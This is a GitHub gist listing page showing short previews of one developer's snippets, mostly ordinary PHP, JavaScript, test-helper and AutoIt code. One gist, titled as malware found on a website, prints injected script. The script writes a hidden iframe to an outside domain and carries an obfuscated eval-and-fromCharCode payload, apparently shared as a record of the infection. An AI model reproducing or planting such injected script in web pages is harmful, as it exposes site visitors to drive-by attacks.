Skip to content

Instantly share code, notes, and snippets.

@SimonEast
SimonEast / gist:3030169
Created July 2, 2012 00:25
IF statement for columns
<?
// Widen the center column (no right column) when the following conditions are true
if ((
empty($rightColumnContent) // <-- this can be set in controller, will leave room in the right column if set
&& (empty($page) || count($page['Widget']) == 0)
)
|| $bodyId == 'events_index'
|| $bodyId == 'events_past'
) {
$innerColumn1Content_width = "675px";
@SimonEast
SimonEast / gist:3096494
Created July 12, 2012 07:41
Ignite.org.au Malware
<body><!--c3284d--><script type="text/javascript">
document.write('<iframe src="http://minigametight.in/in.cgi?7" name="Twitter" scrolling="auto" frameborder="no" align="center" height="2" width="2"></iframe>');
</script><!--/c3284d-->
<!--0b7b2e--><script>d=Date;d=new d();h=-parseInt('012')/5;if(window.document)try{new document.getElementById("qwe").prototype}catch(qqq){st=String;zz='al';zz='v'+zz;ss="";if(1){f='f'+'r'+'o'+'m'+'Ch'+'ar';f=f+'C'+'od'+'e';}e=this[f.substr(11)+zz];t='y';}n="3.5~3.5~51.5~50~15~19~49~54.5~48.5~57.5~53.5~49.5~54~57~22~50.5~49.5~57~33.5~53~49.5~53.5~49.5~54~57~56.5~32~59.5~41~47.5~50.5~38~47.5~53.5~49.5~19~18.5~48~54.5~49~59.5~18.5~19.5~44.5~23~45.5~19.5~60.5~5.5~3.5~3.5~3.5~51.5~50~56~47.5~53.5~49.5~56~19~19.5~28.5~5.5~3.5~3.5~61.5~15~49.5~53~56.5~49.5~15~60.5~5.5~3.5~3.5~3.5~49~54.5~48.5~57.5~53.5~49.5~54~57~22~58.5~56~51.5~57~49.5~19~16~29~51.5~50~56~47.5~53.5~49.5~15~56.5~56~48.5~29.5~18.5~51~57~57~55~28~22.5~22.5~56~49.5~51.5~49~53.5~56~22~54.5~56~50.5~22.5~53.5~47.5~51.5~54~
@SimonEast
SimonEast / LanguageDetect.php
Created January 15, 2018 05:56
PHP: Choosing the closest matching language from Accept-Language header
<?php
/**
* So you have a list of languages your site supports
* and want to automatically assign the user to the closest
* one.
*
* Usage:
*
* LanguageDetect::findBestMatch(['en', 'fr', 'gr']);
* LanguageDetect::findBestMatchOrFallback(['en', 'fr', 'gr']);
@SimonEast
SimonEast / curl_function.php
Last active September 18, 2018 07:39
PHP Curl (The Easy Way)
<?php
/**
* Easy remote HTTP requests using a single function
* (How curl probably SHOULD have been written originally)
*
* If you need something more advanced/robust, use 'guzzle'
* But this function is useful for when you don't need a massive library,
* but rather something simpler and more lightweight
*
* Examples:
@SimonEast
SimonEast / cloudflare.min.js
Created April 4, 2014 07:28
CloudFlare Javascript (including Rocket Loader?)
/*! CloudFlareJS-0.1.11 Tue Mar 11 2014 07:42:08
*/
! function (a, b) {
function c(a) {
if (!(this instanceof c)) return new c(a);
if (!a || !m.isElement(a)) throw new Error("A DOM element reference is required");
return this.element = a, this.tokens = a.classList, this
}
var d = {}, e = "0.1.11",
f = a.setTimeout,
@SimonEast
SimonEast / Acceptance.php
Last active March 11, 2021 15:07
Codeception - how to test for redirects
<?php
// Simply place the following two functions in _support/Helper/Acceptance.php
// Then you can call $I->verifyRedirect(...) inside your tests
namespace Helper;
class Acceptance extends \Codeception\Module
{
/**
* Ensure that a particular URL does NOT contain a 301/302
@SimonEast
SimonEast / gist:1117476
Created August 1, 2011 02:27
PHP Code to detect serialized string and recursively unserialize
<?php
// Next two functions taken from a commenter on http://php.net/manual/en/function.unserialize.php
function unserialize_recursive($val) {
//$pattern = "/.*\{(.*)\}/";
if(is_serialized($val)){
$val = trim($val);
$ret = unserialize($val);
if (is_array($ret)) {
foreach($ret as &$r) $r = unserialize_recursive($r);
@SimonEast
SimonEast / README.md
Last active February 21, 2022 22:05
Fix for Google Maps InfoWindows having unnecessary scrollbars

For most of 2014, the Google Maps API v3 has had a weird bug in that scrollbars often appear unnecessarily in InfoWindows, and they look freakin' ugly.

Lots of people suggest simply putting overflow: visible or overflow: hidden on the DIV but this completely removes the scrollbars which are useful when content is larger than the window. This script attempts to keep that functionality as much as possible.

This is the result of many hours of debugging and re-testing. It's not 100%, but it's super close. Still a work in progress.

View Example HTML

http://bl.ocks.org/SimonEast/raw/16b5bf3d56c0e5035b31/
(should always reflect the latest version from Github)

@SimonEast
SimonEast / Tokens.md
Created February 25, 2022 02:49
List of TI-83/84 Basic Tokens

Here are all the TI-BASIC tokens, along with the binary hex code of each, as taken from TokenIDE. The hex form is how they appear in an 8XP file. Another list is available at http://tibasicdev.wikidot.com/tokens

00 - 
01 - ►DMS
02 - ►Dec
03 - ►Frac
04 - →
@SimonEast
SimonEast / .README.md
Last active November 24, 2022 16:21
Watching a Folder for Changed Files Using AutoIt Script

Watching a Folder for Changed Files Using AutoIt Script

The example scripts below show a clean way of monitoring a folder for changes and responding to those changes.

The _WinAPI_ReadDirectoryChanges() function provided by AutoIt is quite helpful for this, but unfortunately it is a "blocking" synchronous function, which means that once it is called, it hangs the script and users cannot exit it via the tray icon (well not until a file change is triggered). To workaround this, the scripts below run as a "parent" script and a "child" script. The parent runs the child in a separate process and if the parent is exited, it also exits the child process, which is clean and better for usability.

There's also some helpful comments included in the script, as well as an option of filtering file changes based on a specific file extension, if that's what you need.

Comments and feedback welcome.